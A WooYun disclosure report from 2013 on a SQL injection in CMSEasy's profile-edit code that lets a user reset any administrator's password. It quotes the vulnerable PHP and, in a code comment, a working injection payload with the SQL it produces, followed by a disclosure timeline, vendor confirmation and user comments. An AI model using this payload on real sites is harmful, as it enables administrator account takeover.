当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(15) 关注此漏洞

缺陷编号: WooYun-2013-40410

漏洞标题: cmseasy修改任意管理员密码漏洞

相关厂商: cmseasy

漏洞作者: Chora认证白帽子

提交时间: 2013-10-20 22:58

公开时间: 2014-01-18 22:59

漏洞类型: SQL注射漏洞

危害等级: 高

自评Rank: 20

漏洞状态: 厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: 无

2人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-10-20: 细节已通知厂商并且等待厂商处理中
2013-10-20: 厂商已经确认,细节仅向厂商公开
2013-10-23: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2013-12-14: 细节向核心白帽子及相关领域专家公开
2013-12-24: 细节向普通白帽子公开
2014-01-03: 细节向实习白帽子公开
2014-01-18: 细节向公众公开

简要描述:

其实我是来刷普通白帽子的...cmseasy对GET过滤的比较严,对于POST基本没有过滤,各种跨站各种包含。

详细说明:

lib/default/user_act.php

code 区域
function edit_action() {
if(front::post('submit')) {
unset(front::$post['groupid']);
unset(front::$post['powerlist']);
foreach (front::$post as $k => $v){
if(is_array($v) && !empty($v)){
front::$post[$k] = implode(',', $v);
}
front::check_type(front::post($k), 'safe'); //is_safe自定义函数对其无影响,跟进0x01
}
$this->_user->rec_update(front::$post,'userid='.session::get('userid')); //问题出在这儿,跟进0x02
front::flash(lang('修改资料成功!'));
front::redirect(url::create('user/index'));
}
$this->view->data=$this->view->user;
}





lib/tool/front_class.php 0x01

code 区域
static function check_type($var,$type='number') {
$func="is_$type";
if (!$func($var)) {
header("HTTP/1.0 404 Not Found");
exit('PAGE NOT FOUND!');
}
}
function is_safe($string) {
if(!$string) return true;
if(false !== strpos($string,'<script')){
return false;
}
if(false !== strpos($string,'vbscript:')){
return false;
}
if(false !== strpos($string,'javascript:')){
return false;
}
/*if ($string <>addslashes($string))
return false;
else*/
return true;
}





lib/inc/table.php 0x02

code 区域
function rec_update($row,$where) {
$tbname=$this->name;
$sql=$this->sql_update($tbname,$row,$where);
//echo $sql."<br>";
return $this->query_unbuffered($sql);
}
function sql_update($tbname,$row,$where) {
$sqlud='';
if (is_string($row))
$sqlud=$row.' ';
else
foreach ($row as $key=>$value) {
if (in_array($key,explode(',',$this->getcolslist()))) {
$value=$value;
if (preg_match('/^\[(.*)\]$/',$value,$match))
$sqlud .= "`$key`"."= ".$match[1].","; //没加引号。只要匹配上面的正则就行,中括号里面输入注入语句就行。
//[1,password=0x6531306164633339343962613539616262653536653035376632306638383365 where userid=1%23]
//UPDATE `cmseasy_user` SET `nickname`= 1,password=0x6531306164633339343962613539616262653536653035376632306638383365 where userid=1
elseif ($value === "")
$sqlud .= "`$key`= NULL, ";
else
$sqlud .= "`$key`"."= '".$value."',";
}
}
$sqlud=rtrim($sqlud);
$sqlud=rtrim($sqlud,',');
$this->condition($where);
$sql="UPDATE `".$tbname."` SET ".$sqlud." WHERE ".$where;

return $sql;
}

漏洞证明:

1.png



2.png

修复方案:

求包养。。。

版权声明:转载请注明来源 Chora@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2013-10-20 23:00

厂商回复:

马上处理,感谢

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2013-10-20 23:03 | xsser 认证白帽子 ( 普通白帽子 | Rank:297 漏洞数:22 | 当我又回首一切,这个世界会好吗?)
    1

    @cmseasy 这么晚还在?

  2. 2013-10-24 09:44 | saline ( 普通白帽子 | Rank:294 漏洞数:37 | Focus On Web Secur1ty)
    0

    不是有360那个通用的过滤文件么,怎么说post没过滤?

  3. 2014-01-18 23:07 | 麻花藤 ( 路人 | Rank:15 漏洞数:1 | ด้้้้้็็็็็้้้้้็็็็...)
    0

    (#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵)

登录后才能发表评论,请先 登录